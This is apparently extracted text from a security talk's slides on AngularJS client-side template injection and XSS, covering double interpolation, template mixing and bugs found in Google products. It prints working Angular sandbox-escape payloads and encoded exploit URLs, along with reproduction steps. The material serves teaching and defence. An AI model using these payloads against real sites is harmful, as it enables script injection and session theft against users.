Documente Academic
Documente Profesional
Documente Cultură
<html ng-app>
<body ng-controller="MyController">
<button ng-click="changeFoo()">{{buttonText}}</button>
<script src="angular.js"></script>
</body>
</html>
Source: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis non erat sem
● Angular XSS vectors don’t look like XSS
<div>
{{
x = {'y':''.constructor.prototype};
x['y'].charAt=[].join;$eval('x=alert(1)');
}}
</div>
Source: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis non erat sem
Proprietary + Confidential
1. Takes the text content of the node (i.e. full folder name)
2. Shortens it (cuts the middle part)
3. Assigns the result to .innerHTML
<script src="angular.js">
<body ng-app>
<div>
<?php echo htmlspecialchars($_GET['foo']); ?>
</div>
</body>
<head>
<script src="foo.com/tracking.js"></script>
<script src="angular.js"></script>
</head>
<body ng-app>
<p>Hello world!</p>
</body>
Where’s the bug?
Client-side template mixing
In tracking.js:
var d = document.createElement('div');
d.id = 'tracking_div';
d.setAttribute('data-url', location.href);
document.body.appendChild(d);
● For Angular applications, the sink is the template i.e. usually the whole
DOM.
Example: Bug in +1 widget
https://www.google.com/safetycenter/tools/#?&authuser=1%3F%7B%5Bc=(%5B%5D%2b1).co
nstructor;f=c.fromCharCode(120,61,97,108,101,114,116,40,108,111,99,97,116,105,111
,110,41);x=%7B1:c.prototype%7D;x%5B1%5D.charAt=%5B%5D.join;$eval(f)%5D%7Dssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssss[...]sss
https://foo.bar#?¶m=1?{{angular_sandbox_escape}}{{padding}}
Example: Bug in +1 widget
?¶m=1?{{angular_sandbox_escape}}{{padding}}
This process helps us patch the bug in a correct way and prevent similar
issues in the future. Sometimes we also find interesting variants.
Example: Back to the DOM vulnerability found by Enzo Puig from our team
Back to the DOM
2. Angular bootstraps, and evaluates the expressions. Some field values are
modified, e.g.
<input id=foo type=hidden value=”Innocent Joe”>
Back to the DOM
2. Angular bootstraps, and evaluates the expressions. Some field values are
modified, e.g.
<input id=foo type=hidden value={{Bobby Tables}}>
2. Angular bootstraps, and evaluates the expressions. Some field values are
modified, e.g.
<input id=foo type=hidden value={{Bobby Tables}}>
1. Go to https://datastudio.google.com
2. Click the (+) plus sign at the bottom right corner of the screen
3. A new report has been created.
4. Rename the report by clicking "Untitled Report"
5. Insert you favorite template injection test expression: e.g. Google
Security {{7777-1111}}. Confirm the report name has been changed.
6. Go to https://datastudio.google.com, hit inspect element and search
for "6666" in the DOM. You will find "Google Security 6666", meaning
our expression was evaluated.
Double interpolation
function addAriaLabel(override) {
var rawText = override || element.text().trim();
var interpolatedText = $interpolate(rawText)(parent.scope());
parent.attr('aria-label', interpolatedText);
}
addAriaLabel();
scope.$watch(function() {
return element.text().trim();
}, addAriaLabel);
http://jsfiddle.net/xvfoc1L5/3/
Double interpolation
https://github.com/angular/material/pull/10159
Double interpolation
https://github.com/angular/material/pull/10190
Double interpolation
● Common in Angular
apps / libs
● Look for
$interpolate, $watch
● Hard to prove
exploitability in library
code only
● Not obvious what is
user-controlled
github.com/angular/material/pulls?q=is:pr+xss
Angular oddities
Angular oddities
https://www.google.com///intl/images;%7B%5Bx=%7B"y":"".constructor
.prototype%7D;x%5B"y"%5D.charAt=%5B%5D.join;$eval("x=alert(documen
t.domain)");%5D%7D/work/solutions.html
Angular oddities
https://www.google.com///intl/images;%7B%5Bx=%7B"y":"".constructor
.prototype%7D;x%5B"y"%5D.charAt=%5B%5D.join;$eval("x=alert(documen
t.domain)");%5D%7D/work/solutions.html
https://www.google.com///intl/foo/work/solutions.html
<div ng-include="'../work/contact-form/root.html'"></div>
● Should load
https://www.google.com///intl/foo/work/contact-form/root.html
● Instead it loads
https://www.google.com/foo/work/contact-form/root.html
https://www.google.com///intl/images;{{sandbox-escape}}
/ignored…
The final template
https://www.google.com/images;{{angular-expression}}/ignored...
Summary
Summary